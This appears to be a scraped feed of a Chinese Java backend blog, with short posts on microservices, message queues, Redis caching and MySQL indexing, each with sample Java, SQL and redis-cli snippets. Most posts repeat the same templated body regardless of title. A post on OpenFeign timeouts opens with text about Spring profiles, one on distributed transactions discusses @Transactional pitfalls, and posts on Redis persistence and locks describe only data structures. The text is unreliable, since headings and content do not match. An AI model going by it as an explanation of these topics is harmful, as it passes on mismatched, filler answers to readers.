public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 接口版本管理和灰度发布思路 //jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/ 接口版本管理和灰度发布思路

接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud OpenFeign 调用超时和重试配置 //openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/ OpenFeign 调用超时和重试配置

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 网关在微服务里承担什么职责 //wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/ 网关在微服务里承担什么职责

API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 服务注册发现的基本流程 //fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/ 服务注册发现的基本流程

服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 配置中心解决了什么问题 //pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/ 配置中心解决了什么问题

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 限流熔断降级的区别和落地 //xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/ 限流熔断降级的区别和落地

限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 限流：控制入口流量，保护系统不被压垮

  2. 熔断：快速失败，防止级联故障

  3. 降级：牺牲非核心功能，保障核心服务

  4. 常用的限流算法：令牌桶、漏桶、滑动窗口

总结

限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。

]]> 分布式 分布式 架构 分布式事务为什么难 //fen-bu-shi-shi-wu-wei-shi-me-nan/ 分布式事务为什么难

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> 分布式 分布式 架构 接口幂等性设计从业务开始 //jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/ 接口幂等性设计从业务开始

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 分布式 ID 生成方案怎么选 //fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/ 分布式 ID 生成方案怎么选

分布式 ID 生成方案怎么选是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 延迟队列的业务场景和实现思路 //yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/ 延迟队列的业务场景和实现思路

延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 消息丢失问题从生产到消费排查 //xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/ 消息丢失问题从生产到消费排查

消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 消息重复消费如何保证幂等 //xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/ 消息重复消费如何保证幂等

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 消息队列为什么能削峰填谷 //xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/ 消息队列为什么能削峰填谷

消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 消息队列的核心价值：异步处理、解耦、削峰填谷

  2. 常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别

  3. 消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认

  4. 消息重复消费的处理：幂等性设计

总结

消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。

]]> 消息队列 架构 消息队列 Redis 大 key 和热 key 排查 //redis-da-key-he-re-key-pai-cha/ Redis 大 key 和热 key 排查

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Redis 持久化 RDB 和 AOF 怎么选 //redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/ Redis 持久化 RDB 和 AOF 怎么选

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Redis 分布式锁的正确姿势 //redis-fen-bu-shi-suo-de-zheng-que-zi-shi/ Redis 分布式锁的正确姿势

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 缓存穿透击穿雪崩怎么处理 //huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/ 缓存穿透击穿雪崩怎么处理

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

]]> Redis Redis 缓存 Redis 常见数据结构和使用场景 //redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/ Redis 常见数据结构和使用场景

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 数据库字段类型如何贴近业务 //shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/ 数据库字段类型如何贴近业务

字段类型的选择直接影响性能和数据完整性。本文从实际项目经验出发讲如何选。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 分页查询性能问题和游标分页 //fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/ 分页查询性能问题和游标分页

分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 慢 SQL 排查和优化完整流程 //man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/ 慢 SQL 排查和优化完整流程

慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 MySQL 事务隔离级别和幻读问题 //mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/ MySQL 事务隔离级别和幻读问题

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> MySQL SQL MySQL优化 EXPLAIN 执行计划应该看哪些字段 //explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/ EXPLAIN 执行计划应该看哪些字段

EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 MySQL 索引设计的几个核心原则 //mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/ MySQL 索引设计的几个核心原则

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL SQL MySQL优化 MyBatis 批量插入和性能优化 //mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/ MyBatis 批量插入和性能优化

